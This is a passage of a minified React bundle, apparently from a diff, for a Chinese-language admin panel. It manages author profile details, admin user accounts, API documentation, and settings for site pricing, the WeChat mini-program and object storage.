text-white",children:[s.jsx(co,{className:"w-4 h-4 text-[#38bdac]"}),"基本信息"]}),s.jsx(It,{className:"text-gray-400",children:"作者姓名、头像、头衔与个人简介,将展示在「关于作者」页顶部。"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.name,onChange:k=>e(C=>({...C,name:k.target.value})),placeholder:"卡若"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首字母占位(无头像时显示)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white w-20",value:t.avatar,onChange:k=>e(C=>({...C,avatar:k.target.value.slice(0,1)||"K"})),placeholder:"K"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zw,{className:"w-3 h-3 text-[#38bdac]"}),"头像图片"]}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:t.avatarImg,onChange:k=>e(C=>({...C,avatarImg:k.target.value})),placeholder:"上传或粘贴 URL,如 /uploads/avatars/xxx.png"}),s.jsx("input",{ref:u,type:"file",accept:"image/*",className:"hidden",onChange:f}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:o,onClick:()=>{var k;return(k=u.current)==null?void 0:k.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),o?"上传中...":"上传"]})]}),t.avatarImg&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:t.avatarImg.startsWith("http")?t.avatarImg:go(t.avatarImg),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头衔"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.title,onChange:k=>e(C=>({...C,title:k.target.value})),placeholder:"Soul派对房主理人 · 私域运营专家"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"个人简介"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[120px]",value:t.bio,onChange:k=>e(C=>({...C,bio:k.target.value})),placeholder:"每天早上6点到9点..."})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"统计数据"}),s.jsx(It,{className:"text-gray-400",children:"展示在作者卡片中的数字指标,如「商业案例 62」「连续直播 365天」。第一个「商业案例」的值可由书籍统计自动更新。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.stats.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.label,onChange:E=>y(C,"label",E.target.value),placeholder:"标签"}),s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.value,onChange:E=>y(C,"value",E.target.value),placeholder:"数值"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>g(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:m,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加统计项"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"亮点标签"}),s.jsx(It,{className:"text-gray-400",children:"作者优势或成就的简短描述,以标签形式展示。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.highlights.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k,onChange:E=>v(C,E.target.value),placeholder:"5年私域运营经验"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>w(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:N,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加亮点"]})]})]})]})]})}function hV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o]=b.useState(10),[c,u]=b.useState(0),[h,f]=b.useState(""),m=r0(h,300),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(!1),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState(""),[z,Z]=b.useState("admin"),[ne,fe]=b.useState("active"),[xe,$]=b.useState(!1);async function H(){var W;y(!0),w(null);try{const le=new URLSearchParams({page:String(a),pageSize:String(o)});m.trim()&&le.set("search",m.trim());const J=await De(`/api/admin/users?${le}`);J!=null&&J.success?(e(J.records||[]),r(J.total??0),u(J.totalPages??0)):w(J.error||"加载失败")}catch(le){const J=le;w(J.status===403?"无权限访问":((W=J==null?void 0:J.data)==null?void 0:W.error)||"加载失败"),e([])}finally{y(!1)}}b.useEffect(()=>{H()},[a,o,m]);const oe=()=>{E(null),I(""),L(""),D(""),Z("admin"),fe("active"),k(!0)},P=W=>{E(W),I(W.username),L(""),D(W.name||""),Z(W.role==="super_admin"?"super_admin":"admin"),fe(W.status==="disabled"?"disabled":"active"),k(!0)},q=async()=>{var W;if(!T.trim()){w("用户名不能为空");return}if(!C&&!O){w("新建时密码必填,至少 6 位");return}if(O&&O.length<6){w("密码至少 6 位");return}w(null),$(!0);try{if(C){const le=await zt("/api/admin/users",{id:C.id,password:O||void 0,name:R.trim(),role:z,status:ne});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}else{const le=await vt("/api/admin/users",{username:T.trim(),password:O,name:R.trim(),role:z});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}}catch(le){const J=le;w(((W=J==null?void 0:J.data)==null?void 0:W.error)||"保存失败")}finally{$(!1)}},B=async W=>{var le;if(confirm("确定删除该管理员?"))try{const J=await Bs(`/api/admin/users?id=${W}`);J!=null&&J.success?H():w((J==null?void 0:J.error)||"删除失败")}catch(J){const Y=J;w(((le=Y==null?void 0:Y.data)==null?void 0:le.error)||"删除失败")}},_=W=>{if(!W)return"-";try{const le=new Date(W);return isNaN(le.getTime())?W:le.toLocaleString("zh-CN")}catch{return W}};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-[#38bdac]"}),"管理员用户"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"后台登录账号管理,仅超级管理员可操作"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{placeholder:"搜索用户名/昵称",value:h,onChange:W=>f(W.target.value),className:"w-48 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500"}),s.jsx(te,{variant:"outline",size:"sm",onClick:H,disabled:g,className:"border-gray-600 text-gray-300",children:s.jsx(qe,{className:`w-4 h-4 ${g?"animate-spin":""}`})}),s.jsxs(te,{onClick:oe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增管理员"]})]})]}),N&&s.jsxs("div",{className:"mb-4 p-3 rounded-lg bg-red-500/10 border border-red-500/20 text-red-400 text-sm flex justify-between items-center",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"text-red-400 hover:text-red-300",children:"×"})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:g?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户名"}),s.jsx(ke,{className:"text-gray-400",children:"昵称"}),s.jsx(ke,{className:"text-gray-400",children:"角色"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(W=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:W.id}),s.jsx(ve,{className:"text-white font-medium",children:W.username}),s.jsx(ve,{className:"text-gray-400",children:W.name||"-"}),s.jsx(ve,{children:s.jsx(We,{variant:"outline",className:W.role==="super_admin"?"border-amber-500/50 text-amber-400":"border-gray-600 text-gray-400",children:W.role==="super_admin"?"超级管理员":"管理员"})}),s.jsx(ve,{children:s.jsx(We,{variant:"outline",className:W.status==="active"?"border-[#38bdac]/50 text-[#38bdac]":"border-gray-500 text-gray-500",children:W.status==="active"?"正常":"已禁用"})}),s.jsx(ve,{className:"text-gray-500 text-sm",children:_(W.createdAt)}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>P(W),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>B(W.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},W.id)),t.length===0&&!g&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:N==="无权限访问"?"仅超级管理员可查看":"暂无管理员"})})]})]}),c>1&&s.jsx("div",{className:"p-4 border-t border-gray-700/50",children:s.jsx(is,{page:a,pageSize:o,total:n,totalPages:c,onPageChange:i})})]})})}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:C?"编辑管理员":"新增管理员"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"用户名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"登录用户名",value:T,onChange:W=>I(W.target.value),disabled:!!C}),C&&s.jsx("p",{className:"text-xs text-gray-500",children:"用户名不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:C?"新密码(留空不改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:C?"留空表示不修改":"至少 6 位",value:O,onChange:W=>L(W.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"显示名称",value:R,onChange:W=>D(W.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"角色"}),s.jsxs("select",{value:z,onChange:W=>Z(W.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"admin",children:"管理员"}),s.jsx("option",{value:"super_admin",children:"超级管理员"})]})]}),C&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"状态"}),s.jsxs("select",{value:ne,onChange:W=>fe(W.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"active",children:"正常"}),s.jsx("option",{value:"disabled",children:"禁用"})]})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>k(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:q,disabled:xe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),xe?"保存中...":"保存"]})]})]})})]})}function jn({method:t,url:e,desc:n,headers:r,body:a,response:i}){const o=t==="GET"?"text-emerald-400":t==="POST"?"text-amber-400":t==="PUT"?"text-blue-400":t==="DELETE"?"text-rose-400":"text-gray-400";return s.jsxs("div",{className:"rounded-lg bg-[#0a1628]/60 border border-gray-700/50 p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("span",{className:`font-mono font-semibold ${o}`,children:t}),s.jsx("code",{className:"text-sm text-[#38bdac] break-all",children:e})]}),n&&s.jsx("p",{className:"text-gray-400 text-sm",children:n}),r&&r.length>0&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Headers"}),s.jsx("pre",{className:"text-xs text-gray-300 font-mono overflow-x-auto p-2 rounded bg-black/30",children:r.join(` `)})]}),a&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Request Body (JSON)"}),s.jsx("pre",{className:"text-xs text-green-400/90 font-mono overflow-x-auto p-2 rounded bg-black/30 whitespace-pre-wrap",children:a})]}),i&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Response Example"}),s.jsx("pre",{className:"text-xs text-amber-200/80 font-mono overflow-x-auto p-2 rounded bg-black/30 whitespace-pre-wrap",children:i})]})]})}function F4(){const t=["Authorization: Bearer {token}","Content-Type: application/json"];return s.jsxs("div",{className:"p-8 w-full bg-[#0a1628] text-white",children:[s.jsxs("div",{className:"mb-8",children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"内容管理相关接口 · RESTful · 基础路径 /api · 管理端需 Bearer Token"})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ej,{className:"w-5 h-5 text-[#38bdac]"}),"1. Authentication"]})}),s.jsx(Ee,{className:"space-y-4",children:s.jsx(jn,{method:"POST",url:"/api/admin",desc:"登录,返回 JWT token",headers:["Content-Type: application/json"],body:`{ "username": "admin", "password": "your_password" @@ -902,13 +902,13 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: }`,response:`{ "success": true, "data": { "amount": 10.00, "balance": 120.50 } -}`})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-6",children:"管理端仅使用 /api/admin/*、/api/db/*;小程序使用 /api/miniprogram/*。完整实现见 soul-api 源码。"})]})}const fV={appId:"wxb8bbb2b10dec74aa",withdrawSubscribeTmplId:"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE",mchId:"1318592501",minWithdraw:10},pV={name:"卡若",startDate:"2025年10月15日",bio:"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事",liveTime:"06:00-09:00",platform:"Soul派对房",description:"连续创业者,私域运营专家"},mV={sectionPrice:1,baseBookPrice:9.9,distributorShare:90,authorInfo:{...pV},ckbLeadApiKey:""},gV={matchEnabled:!0,referralEnabled:!0,searchEnabled:!0,aboutEnabled:!0},xV=["system","author","admin","api-docs"];function yV(){const[t,e]=Ww(),n=t.get("tab")??"system",r=xV.includes(n)?n:"system",[a,i]=b.useState(mV),[o,c]=b.useState(gV),[u,h]=b.useState(fV),[f,m]=b.useState({}),[g,y]=b.useState(!1),[N,w]=b.useState(!0),[v,k]=b.useState(!1),[C,E]=b.useState(""),[T,I]=b.useState(""),[O,L]=b.useState(!1),[R,D]=b.useState(!1),_=(P,K,V=!1)=>{E(P),I(K),L(V),k(!0)};b.useEffect(()=>{(async()=>{try{const K=await De("/api/admin/settings");if(!K||K.success===!1)return;if(K.featureConfig&&Object.keys(K.featureConfig).length&&c(V=>({...V,...K.featureConfig})),K.mpConfig&&typeof K.mpConfig=="object"&&h(V=>({...V,...K.mpConfig})),K.ossConfig&&typeof K.ossConfig=="object"&&m(V=>({...V,...K.ossConfig})),K.siteSettings&&typeof K.siteSettings=="object"){const V=K.siteSettings;i(z=>({...z,...typeof V.sectionPrice=="number"&&{sectionPrice:V.sectionPrice},...typeof V.baseBookPrice=="number"&&{baseBookPrice:V.baseBookPrice},...typeof V.distributorShare=="number"&&{distributorShare:V.distributorShare},...V.authorInfo&&typeof V.authorInfo=="object"&&{authorInfo:{...z.authorInfo,...V.authorInfo}},...typeof V.ckbLeadApiKey=="string"&&{ckbLeadApiKey:V.ckbLeadApiKey}}))}}catch(K){console.error("Load settings error:",K)}finally{w(!1)}})()},[]);const Z=async(P,K)=>{D(!0);try{const V=await vt("/api/admin/settings",{featureConfig:P});if(!V||V.success===!1){K(),_("保存失败",(V==null?void 0:V.error)??"未知错误",!0);return}_("已保存","功能开关已更新,相关入口将随之显示或隐藏。")}catch(V){console.error("Save feature config error:",V),K(),_("保存失败",V instanceof Error?V.message:String(V),!0)}finally{D(!1)}},ne=(P,K)=>{const V=o,z={...V,[P]:K};c(z),Z(z,()=>c(V))},[fe,xe]=b.useState(!1),$=async P=>{const K=u,V={...K,auditMode:P};h(V),xe(!0);try{const z=await vt("/api/admin/settings",{mpConfig:V});if(!z||z.success===!1){h(K),_("保存失败",(z==null?void 0:z.error)??"未知错误",!0);return}_("已保存",P?"审核模式已开启,小程序将隐藏所有支付入口。":"审核模式已关闭,支付功能已恢复。")}catch(z){h(K),_("保存失败",z instanceof Error?z.message:String(z),!0)}finally{xe(!1)}},H=async()=>{y(!0);try{const P=await vt("/api/admin/settings",{featureConfig:o,siteSettings:{sectionPrice:a.sectionPrice,baseBookPrice:a.baseBookPrice,distributorShare:a.distributorShare,authorInfo:a.authorInfo,ckbLeadApiKey:a.ckbLeadApiKey||void 0},mpConfig:{...u,appId:u.appId||"",withdrawSubscribeTmplId:u.withdrawSubscribeTmplId||"",mchId:u.mchId||"",minWithdraw:typeof u.minWithdraw=="number"?u.minWithdraw:10,auditMode:u.auditMode??!1},ossConfig:Object.keys(f).length?{endpoint:f.endpoint??"",bucket:f.bucket??"",region:f.region??"",accessKeyId:f.accessKeyId??"",accessKeySecret:f.accessKeySecret??""}:void 0});if(!P||P.success===!1){_("保存失败",(P==null?void 0:P.error)??"未知错误",!0);return}_("已保存","设置已保存成功。")}catch(P){console.error("Save settings error:",P),_("保存失败",P instanceof Error?P.message:String(P),!0)}finally{y(!1)}},oe=P=>{e(P==="system"?{}:{tab:P})};return N?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"系统设置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置全站基础参数与开关"})]}),r==="system"&&s.jsxs(te,{onClick:H,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),g?"保存中...":"保存设置"]})]}),s.jsxs(yd,{value:r,onValueChange:oe,className:"w-full",children:[s.jsxs(Ll,{className:"mb-6 bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"system",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(lo,{className:"w-4 h-4 mr-2"}),"系统设置"]}),s.jsxs(Zt,{value:"author",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Tm,{className:"w-4 h-4 mr-2"}),"作者详情"]}),s.jsxs(Zt,{value:"admin",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(_c,{className:"w-4 h-4 mr-2"}),"管理员"]}),s.jsxs(Zt,{value:"api-docs",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Yw,{className:"w-4 h-4 mr-2"}),"API 文档"]})]}),s.jsx(en,{value:"system",className:"mt-0",children:s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tm,{className:"w-5 h-5 text-[#38bdac]"}),"关于作者"]}),s.jsx(It,{className:"text-gray-400",children:'配置作者信息,将在"关于作者"页面显示'})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"author-name",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Tm,{className:"w-3 h-3"}),"主理人名称"]}),s.jsx(se,{id:"author-name",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.name??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,name:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"start-date",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"开播日期"]}),s.jsx(se,{id:"start-date",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 2025年10月15日",value:a.authorInfo.startDate??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,startDate:P.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"live-time",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"直播时间"]}),s.jsx(se,{id:"live-time",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 06:00-09:00",value:a.authorInfo.liveTime??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,liveTime:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"platform",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(tj,{className:"w-3 h-3"}),"直播平台"]}),s.jsx(se,{id:"platform",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: Soul派对房",value:a.authorInfo.platform??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,platform:P.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"description",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Br,{className:"w-3 h-3"}),"简介描述"]}),s.jsx(se,{id:"description",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.description??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,description:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"bio",className:"text-gray-300",children:"详细介绍"}),s.jsx(_l,{id:"bio",className:"bg-[#0a1628] border-gray-700 text-white min-h-[100px]",placeholder:"输入作者详细介绍...",value:a.authorInfo.bio??"",onChange:P=>i(K=>({...K,authorInfo:{...K.authorInfo,bio:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"ckb-lead-api-key",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Ss,{className:"w-3 h-3"}),"链接卡若存客宝密钥"]}),s.jsx(se,{id:"ckb-lead-api-key",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 xxxxx-xxxxx-xxxxx-xxxxx(留空则用 .env 默认)",value:a.ckbLeadApiKey??"",onChange:P=>i(K=>({...K,ckbLeadApiKey:P.target.value}))}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序首页「链接卡若」留资接口使用的存客宝 API Key,优先于 .env 配置"})]}),s.jsxs("div",{className:"mt-4 p-4 rounded-xl bg-[#0a1628] border border-[#38bdac]/30",children:[s.jsx("p",{className:"text-xs text-gray-500 mb-2",children:"预览效果"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-12 h-12 rounded-full bg-gradient-to-br from-[#00CED1] to-[#20B2AA] flex items-center justify-center text-xl font-bold text-white",children:(a.authorInfo.name??"K").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-semibold",children:a.authorInfo.name}),s.jsx("p",{className:"text-gray-400 text-xs",children:a.authorInfo.description}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-1",children:["每日 ",a.authorInfo.liveTime," · ",a.authorInfo.platform]})]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac]"}),"价格设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置书籍和章节的定价"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单节价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.sectionPrice,onChange:P=>i(K=>({...K,sectionPrice:Number.parseFloat(P.target.value)||1}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"整本价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.baseBookPrice,onChange:P=>i(K=>({...K,baseBookPrice:Number.parseFloat(P.target.value)||9.9}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"小程序配置"]}),s.jsx(It,{className:"text-gray-400",children:"订阅消息模板、支付商户号等,小程序从 /api/miniprogram/config 读取(API 地址由 app.js baseUrl 控制)"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序 AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"wxb8bbb2b10dec74aa",value:u.appId??"",onChange:P=>h(K=>({...K,appId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提现订阅模板 ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"用户申请提现时需授权",value:u.withdrawSubscribeTmplId??"",onChange:P=>h(K=>({...K,withdrawSubscribeTmplId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信支付商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"1318592501",value:u.mchId??"",onChange:P=>h(K=>({...K,mchId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:u.minWithdraw??10,onChange:P=>h(K=>({...K,minWithdraw:Number.parseFloat(P.target.value)||10}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(iM,{className:"w-5 h-5 text-[#38bdac]"}),"OSS 配置(阿里云对象存储)"]}),s.jsx(It,{className:"text-gray-400",children:"endpoint、bucket、accessKey 等,用于图片/文件上传"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Endpoint"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou.aliyuncs.com",value:f.endpoint??"",onChange:P=>m(K=>({...K,endpoint:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Bucket"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"bucket 名称",value:f.bucket??"",onChange:P=>m(K=>({...K,bucket:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Region"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou",value:f.region??"",onChange:P=>m(K=>({...K,region:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey ID",value:f.accessKeyId??"",onChange:P=>m(K=>({...K,accessKeyId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey Secret"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 